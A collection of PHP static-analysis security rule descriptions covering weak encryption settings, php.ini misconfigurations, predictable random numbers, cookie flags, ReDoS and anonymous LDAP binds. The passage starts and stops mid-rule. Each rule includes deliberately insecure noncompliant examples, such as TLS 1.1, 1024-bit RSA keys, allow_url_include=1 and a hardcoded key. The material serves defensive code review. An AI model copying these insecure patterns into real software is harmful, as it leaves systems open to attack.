        $this->encryption->initialize( // Sensitive.
            array(
                'cipher' => 'aes-256',
                'mode' => 'ctr',
                'key' => 'the key',
            )
        );
        $this->encryption->encrypt("mysecretdata"); // Sensitive.
    }
}

CraftCMS version 3

use Craft;

// This is similar to Yii as it used by CraftCMS
function craftEncrypt($data, $key, $password) {
    Craft::$app->security->encryptByKey($data, $key); // Sensitive
    Craft::$app->getSecurity()->encryptByKey($data, $key); // Sensitive
    Craft::$app->security->encryptByPassword($data, $password); // Sensitive
    Craft::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive
}

Drupal 7 - Encrypt module

function drupalEncrypt() {
    $encrypted_text = encrypt('some string to encrypt'); // Sensitive
}

Joomla

use Joomla\Crypt\CipherInterface;

abstract class MyCipher implements CipherInterface // Sensitive. Implementing custom cipher class
{}

function joomlaEncrypt() {
    new Joomla\Crypt\Cipher_Sodium(); // Sensitive
    new Joomla\Crypt\Cipher_Simple(); // Sensitive
    new Joomla\Crypt\Cipher_Rijndael256(); // Sensitive
    new Joomla\Crypt\Cipher_Crypto(); // Sensitive
    new Joomla\Crypt\Cipher_Blowfish(); // Sensitive
    new Joomla\Crypt\Cipher_3DES(); // Sensitive
}
}

Laravel

use Illuminate\Support\Facades\Crypt;

function myLaravelEncrypt($data)
{
    Crypt::encryptString($data); // Sensitive
    Crypt::encrypt($data); // Sensitive
    // encrypt using the Laravel "encrypt" helper
    encrypt($data); // Sensitive
}

PHP-Encryption library

use Defuse\Crypto\Crypto;
use Defuse\Crypto\File;

function mypPhpEncryption($data, $key, $password, $inputFilename, $outputFilename, $inputHandle, $outputHandle) {
    Crypto::encrypt($data, $key); // Sensitive
    Crypto::encryptWithPassword($data, $password); // Sensitive
    File::encryptFile($inputFilename, $outputFilename, $key); // Sensitive
    File::encryptFileWithPassword($inputFilename, $outputFilename, $password); // Sensitive
    File::encryptResource($inputHandle, $outputHandle, $key); // Sensitive
    File::encryptResourceWithPassword($inputHandle, $outputHandle, $password); // Sensitive
}

PhpSecLib

function myphpseclib($mode) {
    new phpseclib\Crypt\RSA(); // Sensitive. Note: RSA can also be used for signing data.
    new phpseclib\Crypt\AES(); // Sensitive
    new phpseclib\Crypt\Rijndael(); // Sensitive
    new phpseclib\Crypt\Twofish(); // Sensitive
    new phpseclib\Crypt\Blowfish(); // Sensitive
    new phpseclib\Crypt\RC4(); // Sensitive
    new phpseclib\Crypt\RC2(); // Sensitive
    new phpseclib\Crypt\TripleDES(); // Sensitive
    new phpseclib\Crypt\DES(); // Sensitive

    new phpseclib\Crypt\AES($mode); // Sensitive
    new phpseclib\Crypt\Rijndael($mode); // Sensitive
    new phpseclib\Crypt\TripleDES($mode); // Sensitive
    new phpseclib\Crypt\DES($mode); // Sensitive
}

Sodium Compat library

function mySodiumCompatEncrypt($data, $ad, $nonce, $key) {
    ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($data, $ad, $nonce, $key); // Sensitive

    ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($data, $ad, $nonce, $key); // Sensitive

    ParagonIE_Sodium_Compat::crypto_box($data, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_secretbox($data, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_box_seal($data, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_secretbox_xchacha20poly1305($data, $nonce, $key); // Sensitive
}

Yii version 2

use Yii;

// Similar to CraftCMS as it uses Yii
function YiiEncrypt($data, $key, $password) {
    Yii::$app->security->encryptByKey($data, $key); // Sensitive
    Yii::$app->getSecurity()->encryptByKey($data, $key); // Sensitive
    Yii::$app->security->encryptByPassword($data, $password); // Sensitive
    Yii::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive
}

Zend

use Zend\Crypt\FileCipher;
use Zend\Crypt\PublicKey\DiffieHellman;
use Zend\Crypt\PublicKey\Rsa;
use Zend\Crypt\Hybrid;
use Zend\Crypt\BlockCipher;

function myZendEncrypt($key, $data, $prime, $options, $generator, $lib)
{
    new FileCipher; // Sensitive. This is used to encrypt files

    new DiffieHellman($prime, $generator, $key); // Sensitive

    $rsa = Rsa::factory([ // Sensitive
        'public_key'    => 'public_key.pub',
        'private_key'   => 'private_key.pem',
        'pass_phrase'   => 'mypassphrase',
        'binary_output' => false,
    ]);
    $rsa->encrypt($data); // No issue raised here. The configuration of the Rsa object is the line to review.

    $hybrid = new Hybrid(); // Sensitive

    BlockCipher::factory($lib, $options); // Sensitive
}

See

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-321 - Use of Hard-coded Cryptographic Key
• MITRE, CWE-322 - Key Exchange without Entity Authentication
• MITRE, CWE-323 - Reusing a Nonce, Key Pair in Encryption
• MITRE, CWE-324 - Use of a Key Past its Expiration Date
• MITRE, CWE-325 - Missing Required Cryptographic Step
• MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

This vulnerability exposes encrypted data to a number of attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

For these reasons, as soon as cryptography is included in a project, it is important to choose encryption algorithms that are considered strong and secure by the cryptography community.

To provide communication security over a network, SSL and TLS are generally used. However, it is important to note that the following protocols are all considered weak by the cryptographic community, and are officially deprecated:

• SSL versions 1.0, 2.0 and 3.0
• TLS versions 1.0 and 1.1

When these unsecured protocols are used, it is best practice to expect a breach: that a user or organization with malicious intent will perform mathematical attacks on this data after obtaining it by other means.

What is the potential impact?

After retrieving encrypted data and performing cryptographic attacks on it on a given timeframe, attackers can recover the plaintext that encryption was supposed to protect.

Depending on the recovered data, the impact may vary.

Below are some real-world scenarios that illustrate the potential impact of an attacker exploiting the vulnerability.

Additional attack surface

By modifying the plaintext of the encrypted message, an attacker may be able to trigger additional vulnerabilities in the code. An attacker can further exploit a system to obtain more information.
Encrypted values are often considered trustworthy because it would not be possible for a third party to modify them under normal circumstances.

Breach of confidentiality and privacy

When encrypted data contains personal or sensitive information, its retrieval by an attacker can lead to privacy violations, identity theft, financial loss, reputational damage, or unauthorized access to confidential systems.

In this scenario, the company, its employees, users, and partners could be seriously affected.

The impact is twofold, as data breaches and exposure of encrypted data can undermine trust in the organization, as customers, clients and stakeholders may lose confidence in the organization’s ability to protect their sensitive data.

Legal and compliance issues

In many industries and locations, there are legal and compliance requirements to protect sensitive data. If encrypted data is compromised and the plaintext can be recovered, companies face legal consequences, penalties, or violations of privacy laws.

How to fix it in Core PHP

Code examples

Noncompliant code example

$opts = array(
  'ssl' => [
    'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT // Noncompliant
  ],
  'http'=>array(
    'method'=>"GET"
  )
);

$context = stream_context_create($opts);

$fp = fopen('https://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);

Compliant solution

$opts = array(
  'ssl' => [
    'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  ],
  'http'=>array(
    'method'=>"GET"
  )
);

$context = stream_context_create($opts);

$fp = fopen('https://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);

How does this work?

As a rule of thumb, by default you should use the cryptographic algorithms and mechanisms that are considered strong by the cryptographic community.

The best choices at the moment are the following.

Use TLS v1.2 or TLS v1.3

Even though TLS V1.3 is available, using TLS v1.2 is still considered good and secure practice by the cryptography community.

The use of TLS v1.2 ensures compatibility with a wide range of platforms and enables seamless communication between different systems that do not yet have TLS v1.3 support.

The only drawback depends on whether the framework used is outdated: its TLS v1.2 settings may enable older and insecure cipher suites that are deprecated as insecure.

On the other hand, TLS v1.3 removes support for older and weaker cryptographic algorithms, eliminates known vulnerabilities from previous TLS versions, and improves performance.

Resources

Articles & blog posts

• Wikipedia, Padding Oracle Attack
• Wikipedia, Chosen-Ciphertext Attack
• Wikipedia, Chosen-Plaintext Attack
• Wikipedia, Semantically Secure Cryptosystems
• Wikipedia, OAEP
• Wikipedia, Galois/Counter Mode

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

Why is this an issue?

enable_dl is on by default and allows open_basedir restrictions, which limit the files a script can access, to be ignored. For that reason, it’s a dangerous option and should be explicitly turned off.

This rule raises an issue when enable_dl is not explicitly set to 0 in php.ini.

Noncompliant code example

; php.ini
enable_dl=1  ; Noncompliant

Compliant solution

; php.ini
enable_dl=0

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-23 - Relative Path Traversal
• MITRE, CWE-36 - Absolute Path Traversal

This vulnerability exposes encrypted data to attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

In today’s cryptography, the length of the key directly affects the security level of cryptographic algorithms.

Note that depending on the algorithm, the term key refers to a different mathematical property. For example:

• For RSA, the key is the product of two large prime numbers, also called the modulus.
• For AES and Elliptic Curve Cryptography (ECC), the key is only a sequence of randomly generated bytes.
  • In some cases, AES keys are derived from a master key or a passphrase using a Key Derivation Function (KDF) like PBKDF2 (Password-Based Key Derivation Function 2)

If an application uses a key that is considered short and insecure, the encrypted data is exposed to attacks aimed at getting at the plaintext.

In general, it is best practice to expect a breach: that a user or organization with malicious intent will perform cryptographic attacks on this data after obtaining it by other means.

What is the potential impact?

After retrieving encrypted data and performing cryptographic attacks on it on a given timeframe, attackers can recover the plaintext that encryption was supposed to protect.

Depending on the recovered data, the impact may vary.

Below are some real-world scenarios that illustrate the potential impact of an attacker exploiting the vulnerability.

Additional attack surface

By modifying the plaintext of the encrypted message, an attacker may be able to trigger additional vulnerabilities in the code. An attacker can further exploit a system to obtain more information.
Encrypted values are often considered trustworthy because it would not be possible for a third party to modify them under normal circumstances.

Breach of confidentiality and privacy

When encrypted data contains personal or sensitive information, its retrieval by an attacker can lead to privacy violations, identity theft, financial loss, reputational damage, or unauthorized access to confidential systems.

In this scenario, the company, its employees, users, and partners could be seriously affected.

The impact is twofold, as data breaches and exposure of encrypted data can undermine trust in the organization, as customers, clients and stakeholders may lose confidence in the organization’s ability to protect their sensitive data.

Legal and compliance issues

In many industries and locations, there are legal and compliance requirements to protect sensitive data. If encrypted data is compromised and the plaintext can be recovered, companies face legal consequences, penalties, or violations of privacy laws.

How to fix it in Core PHP

Code examples

Noncompliant code example

Here is an example of a private key generation with RSA:

$config = [
    "digest_alg"       => "sha512",
    "private_key_bits" => 1024,                 // Noncompliant
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
];

$res = openssl_pkey_new($config);

Compliant solution

$config = [
    "digest_alg"       => "sha512",
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
];

$res = openssl_pkey_new($config);

How does this work?

As a rule of thumb, use the cryptographic algorithms and mechanisms that are considered strong by the cryptographic community.

The appropriate choices are the following.

RSA (Rivest-Shamir-Adleman) and DSA (Digital Signature Algorithm)

The security of these algorithms depends on the difficulty of attacks attempting to solve their underlying mathematical problem.

In general, a minimum key size of 2048 bits is recommended for both.

AES (Advanced Encryption Standard)

AES supports three key sizes: 128 bits, 192 bits and 256 bits. The security of the AES algorithm is based on the computational complexity of trying all possible keys.
A larger key size increases the number of possible keys and makes exhaustive search attacks computationally infeasible. Therefore, a 256-bit key provides a higher level of security than a 128-bit or 192-bit key.

Currently, a minimum key size of 128 bits is recommended for AES.

Elliptic Curve Cryptography (ECC)

Elliptic curve cryptography is also used in various algorithms, such as ECDSA, ECDH, or ECMQV. The length of keys generated with elliptic curve algorithms are mentioned directly in their names. For example, secp256k1 generates a 256-bits long private key.

Currently, a minimum key size of 224 bits is recommended for EC algorithms.

Going the extra mile

Pre-Quantum Cryptography

Encrypted data and communications recorded today could be decrypted in the future by an attack from a quantum computer.
It is important to keep in mind that NIST-approved digital signature schemes, key agreement, and key transport may need to be replaced with secure quantum-resistant (or "post-quantum") counterpart.

Thus, if data is to remain secure beyond 2030, proactive measures should be taken now to ensure its safety.

Learn more here.

Resources

Articles & blog posts

• Microsoft, Timing vulnerabilities with CBC-mode symmetric decryption using padding
• Wikipedia, Padding Oracle Attack
• Wikipedia, Chosen-Ciphertext Attack
• Wikipedia, Chosen-Plaintext Attack
• Wikipedia, Semantically Secure Cryptosystems
• Wikipedia, OAEP
• Wikipedia, Galois/Counter Mode

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• NIST 800-131A - Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths* MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms

Why is this an issue?

allow_url_fopen and allow_url_include allow code to be read into a script from URL’s. The ability to suck in executable code from outside your site, coupled with imperfect input cleansing could lay your site bare to attackers. Even if your input filtering is perfect today, are you prepared to bet your site that it will always be perfect in the future?

This rule raises an issue when either property is explicitly enabled in php.ini and when allow_url_fopen, which defaults to enabled, is not explicitly disabled.

Noncompliant code example

; php.ini  Noncompliant; allow_url_fopen not explicitly disabled
allow_url_include=1  ; Noncompliant

Compliant solution

; php.ini
allow_url_fopen=0
allow_url_include=0

Resources

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2021 Category A8 - Software and Data Integrity Failures
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-829 - Inclusion of Functionality from Untrusted Control Sphere
• SANS Top 25 - Risky Resource Management

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

• CVE-2013-6386
• CVE-2006-3419
• CVE-2008-4102

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the rand() and mt_rand() functions rely on a pseudorandom number generator, it should not be used for security-critical applications or for protecting sensitive data.

Ask Yourself Whether

• the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
• the function you use generates a value which can be predicted (pseudo-random).
• the generated value is used multiple times.
• an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use functions which rely on a cryptographically strong random number generator such as random_int() or random_bytes() or openssl_random_pseudo_bytes()
• When using openssl_random_pseudo_bytes(), provide and check the crypto_strong parameter
• Use the generated random values only once.
• You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

$random = rand();
$random2 = mt_rand(0, 99);

Compliant Solution

$randomInt = random_int(0,99); // Compliant; generates a cryptographically secure random integer

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-338 - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
• MITRE, CWE-330 - Use of Insufficiently Random Values
• MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-1241 - Use of Predictable Algorithm in Random Number Generator
• Derived from FindSecBugs rule Predictable Pseudo Random Number Generator

Why is this an issue?

The cgi.force_redirect php.ini configuration is on by default, and it prevents unauthenticated access to scripts when PHP is running as a CGI. Unfortunately, it must be disabled on IIS, OmniHTTPD and Xitami, but in all other cases it should be on.

This rule raises an issue when when cgi.force_redirect is explicitly disabled.

Noncompliant code example

; php.ini
cgi.force_redirect=0  ; Noncompliant

Resources

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-305 - Authentication Bypass by Primary Weakness

This rule is deprecated, and will eventually be removed.

Why is this an issue?

Cookies without fixed lifetimes or expiration dates are known as non-persistent, or "session" cookies, meaning they last only as long as the browser session, and poof away when the browser closes. Cookies with expiration dates, "persistent" cookies, are stored/persisted until those dates.

Non-persistent cookies should be used for the management of logged-in sessions on web sites. To make a cookie non-persistent, simply omit the expires attribute.

This rule raises an issue when expires is set for a session cookie, either programmatically or via configuration, such as session.cookie_lifetime.

Resources

• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• OWASP, Session Management Cheat Sheet - Expire and Max-Age Attributes
• Derived from FindSecBugs rule COOKIE_PERSISTENT

Why is this an issue?

The open_basedir configuration in php.ini limits the files the script can access using, for example, include and fopen(). Leave it out, and there is no default limit, meaning that any file can be accessed. Include it, and PHP will refuse to access files outside the allowed path.

open_basedir should be configured with a directory, which will then be accessible recursively. However, the use of . (current directory) as an open_basedir value should be avoided since it’s resolved dynamically during script execution, so a chdir('/') command could lay the whole server open to the script.

This is not a fool-proof configuration; it can be reset or overridden at the script level. But its use should be seen as a minimum due diligence step. This rule raises an issue when open_basedir is not present in php.ini, and when open_basedir contains root, or the current directory (.) symbol.

Noncompliant code example

; php.ini try 1
; open_basedir="${USER}/scripts/data"  Noncompliant; commented out

; php.ini try 2
open_basedir="/:${USER}/scripts/data"  ; Noncompliant; root directory in the list

Compliant solution

; php.ini try 1
open_basedir="${USER}/scripts/data"

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-23 - Relative Path Traversal
• MITRE, CWE-36 - Absolute Path Traversal

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it’s up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won’t be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

• the cookie is sensitive, used to authenticate the user, for instance a session-cookie
• the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• By default the HttpOnly flag should be set to true for most of the cookies and it’s mandatory for session / sensitive-security cookies.

Sensitive Code Example

In php.ini you can specify the flags for the session cookie which is security-sensitive:

session.cookie_httponly = 0;  // Sensitive: this sensitive session cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability

Same thing in PHP code:

session_set_cookie_params($lifetime, $path, $domain, true, false);  // Sensitive: this sensitive session cookie is created with the httponly flag (the fifth argument) set to false and so it can be stolen easily in case of XSS vulnerability

If you create a custom security-sensitive cookie in your PHP code:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true, false); // Sensitive: this sensitive cookie is created with the httponly flag (the seventh argument) set to false  and so it can be stolen easily in case of XSS vulnerability

By default setcookie and setrawcookie functions set httpOnly flag to false (the seventh argument) and so cookies can be stolen easily in case of XSS vulnerability:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag  (the seventh argument) not defined (by default set to false)
setrawcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag (the seventh argument) not defined  (by default set to false)

Compliant Solution

session.cookie_httponly = 1; // Compliant: the sensitive cookie is protected against theft thanks (cookie_httponly=1)

session_set_cookie_params($lifetime, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the fifth argument set to true (HttpOnly=true)

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true)
setrawcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true)

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP HttpOnly
• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• MITRE, CWE-1004 - Sensitive Cookie Without 'HttpOnly' Flag
• SANS Top 25 - Insecure Interaction Between Components
• Derived from FindSecBugs rule HTTPONLY_COOKIE

This rule is deprecated; use S2631 instead.

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2017-16021
• CVE-2018-13863
• CVE-2018-8926

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as /(a+)+s/ will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and contains at at least two instances of any of the following characters *+{ .

Example: (a+)*

The following functions are detected as executing regular expressions:

• PCRE: Perl style regular expressions: preg_filter, preg_grep, preg_match_all, preg_match, preg_replace_callback, preg_replace, preg_split
• POSIX extended, which are deprecated: ereg_replace, ereg, eregi_replace, eregi, split, spliti.
• fnmatch
• Any of the multibyte string regular expressions: mb_eregi_replace, mb_ereg_match, mb_ereg_replace_callback, mb_ereg_replace, mb_ereg_search_init, mb_ereg_search_pos, mb_ereg_search_regs, mb_ereg_search, mb_ereg, mb_eregi_replace, mb_eregi

Note that ereg* functions have been removed in PHP 7 and PHP 5 end of life date is the 1st of January 2019. Using PHP 5 is dangerous as there will be no security fix.

This rule’s goal is to guide security code reviews.

Ask Yourself Whether

• the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
• your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not set the constant pcre.backtrack_limit to a high value as it will increase the resource consumption of PCRE functions.

Check the error codes of PCRE functions via preg_last_error.

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you’re are using. Do not run vulnerable regular expressions on user input.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won’t detect this kind of injection.

Avoid executing a user input string as a regular expression or use at least preg_quote to escape regular expression characters.

Exceptions

An issue will be created for the functions mb_ereg_search_pos, mb_ereg_search_regs and mb_ereg_search if and only if at least the first argument, i.e. the $pattern, is provided.

The current implementation does not follow variables. It will only detect regular expressions hard-coded directly in the function call.

$pattern = "/(a+)+/";
$result = eregi($pattern, $input);  // No issue will be raised even if it is Sensitive

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-624 - Executable Regular Expression Error
• OWASP Regular expression Denial of Service - ReDoS

This rule is deprecated, and will eventually be removed.

A cookie’s domain specifies which websites should be able to read it. Left blank, browsers are supposed to only send the cookie to sites that exactly match the sending domain. For example, if a cookie was set by lovely.dream.com, it should only be readable by that domain, and not by nightmare.com or even strange.dream.com. If you want to allow sub-domain access for a cookie, you can specify it by adding a dot in front of the cookie’s domain, like so: .dream.com. But cookie domains should always use at least two levels.

Cookie domains can be set either programmatically or via configuration. This rule raises an issue when any cookie domain is set with a single level, as in .com.

Ask Yourself Whether

• the domain attribute has only one level as domain naming.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• You should check the domain attribute has been set and its value has more than one level of domain nanimg, like: sonarsource.com

Sensitive Code Example

setcookie("TestCookie", $value, time()+3600, "/~path/", ".com", 1); // Noncompliant
session_set_cookie_params(3600, "/~path/", ".com"); // Noncompliant

// inside php.ini
session.cookie_domain=".com"; // Noncompliant

Compliant Solution

setcookie("TestCookie", $value, time()+3600, "/~path/", ".myDomain.com", 1);
session_set_cookie_params(3600, "/~path/", ".myDomain.com");

// inside php.ini
session.cookie_domain=".myDomain.com";

See

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure

This rule is deprecated, and will eventually be removed.

Why is this an issue?

file_uploads is an on-by-default PHP configuration that allows files to be uploaded to your site. Since accepting candy files from strangers is inherently dangerous, this feature should be disabled unless it is absolutely necessary for your site.

This rule raises an issue when file_uploads is not explicitly disabled.

Noncompliant code example

; php.ini
file_uploads=1  ; Noncompliant

Compliant solution

; php.ini
file_uploads=0

Resources

• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-434 - Unrestricted Upload of File with Dangerous Type
• SANS Top 25 - Insecure Interaction Between Components

This rule is deprecated, and will eventually be removed.

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2018-11639
• CVE-2016-6537

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

• sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn’t make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

$value = "1234 1234 1234 1234";

// Review this cookie as it seems to send sensitive information (credit card number).
setcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive
setrawcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive

See

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-312 - Cleartext Storage of Sensitive Information
• MITRE, CWE-315 - Cleartext Storage of Sensitive Information in a Cookie
• Derived from FindSecBugs rule COOKIE_USAGE

Lightweight Directory Access Protocol (LDAP) servers provide two main authentication methods: the SASL and Simple ones. The Simple Authentication method also breaks down into three different mechanisms:

• Anonymous Authentication
• Unauthenticated Authentication
• Name/Password Authentication

A server that accepts either the Anonymous or Unauthenticated mechanisms will accept connections from clients not providing credentials.

Why is this an issue?

When configured to accept the Anonymous or Unauthenticated authentication mechanism, an LDAP server will accept connections from clients that do not provide a password or other authentication credentials. Such users will be able to read or modify part or all of the data contained in the hosted directory.

What is the potential impact?

An attacker exploiting unauthenticated access to an LDAP server can access the data that is stored in the corresponding directory. The impact varies depending on the permission obtained on the directory and the type of data it stores.

Authentication bypass

If attackers get write access to the directory, they will be able to alter most of the data it stores. This might include sensitive technical data such as user passwords or asset configurations. Such an attack can typically lead to an authentication bypass on applications and systems that use the affected directory as an identity provider.

In such a case, all users configured in the directory might see their identity and privileges taken over.

Sensitive information leak

If attackers get read-only access to the directory, they will be able to read the data it stores. That data might include security-sensitive pieces of information.

Typically, attackers might get access to user account lists that they can use in further intrusion steps. For example, they could use such lists to perform password spraying, or related attacks, on all systems that rely on the affected directory as an identity provider.

If the directory contains some Personally Identifiable Information, an attacker accessing it might represent a violation of regulatory requirements in some countries. For example, this kind of security event would go against the European GDPR law.

How to fix it

Code examples

The following code indicates an anonymous LDAP authentication vulnerability because it binds to a remote server using an Anonymous Simple authentication mechanism.

Noncompliant code example

$ldapconn = ldap_connect("ldap.example.com");

if ($ldapconn) {
    $ldapbind = ldap_bind($ldapconn); // Noncompliant
}

Compliant solution

$ldaprdn  = 'uname';
$ldappass = 'password';

$ldapconn = ldap_connect("ldap.example.com");

if ($ldapconn) {
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass); // Compliant
}

Resources

Documentation

• RFC 4513 - Lightweight Directory Access Protocol (LDAP): Authentication Methods and Security Mechanisms - Bind operations

Standards

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-521 - Weak Password Requirements

This vulnerability allows attackers to impersonate a trusted host.

Why is this an issue?

Transport Layer Security (TLS) provides secure communication between systems over the internet by encrypting the data sent between them. In this process, the role of hostname validation, combined with certificate validation, is to ensure that a system is indeed the one it claims to be, adding an extra layer of trust and security.

When hostname validation is disabled, the client skips this critical check. This creates an opportunity for attackers to pose as a trusted entity and intercept, manipulate, or steal the data being transmitted.

To do so, an attacker would obtain a valid certificate authenticating example.com, serve it using a different hostname, and the application code would still accept it.

What is the potential impact?

